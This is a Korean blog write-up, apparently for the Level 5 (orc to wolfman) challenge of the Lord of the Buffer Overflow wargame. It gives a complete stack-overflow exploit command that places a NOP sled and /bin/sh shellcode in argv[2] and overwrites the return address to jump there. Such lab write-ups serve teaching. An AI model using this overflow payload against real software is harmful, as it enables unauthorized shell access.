Profile

머리정리하는곳

c2w2m2

[Level5] orc -> wolfman


코드를 먼저 보면, 전문제에서 추가된 부분이 buffer hunter 부분인데, buffer을 초기화 시켜버립니다.


그러면 buffer에 shellcode를 넣고 ret를 buffer주소로 돌려봤자 실행이 안된다는 이야기인데,


어짜피 저희는 argv[2]로 돌릴거니 상관 없습니다!



저번처럼 소스코드를 하나 복사해 주시고, 맨 밑에 


printf("%p\n", argv[2]); 


를 추가해 주고,


./exp `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"  + " " + "\x90"*1000+"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"'`





실행 시켜 봅시다.



그럼 이렇게 argv[2] 주소가 나오고, 이를 바탕으로 공격을 하면


./wolfman `python -c 'print "A"*44[ buffer + SFP ] + "\x74\xf8\xff\xbf"[ RET ; argv[2] 주소로 ] + " " + "\x90"*1000[ NOP ]+

"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"[ shellcode ]'`





클리어!

'Pwnable > LOB' 카테고리의 다른 글

[Level7] darkelf -> orge  (0) 2017.05.17
[Level6] wolfman -> darkelf  (0) 2017.05.17
[Level4] goblin -> orc  (0) 2017.05.17
클리어!  (0) 2017.05.17
[Level3]cobolt -> goblin  (2) 2017.05.02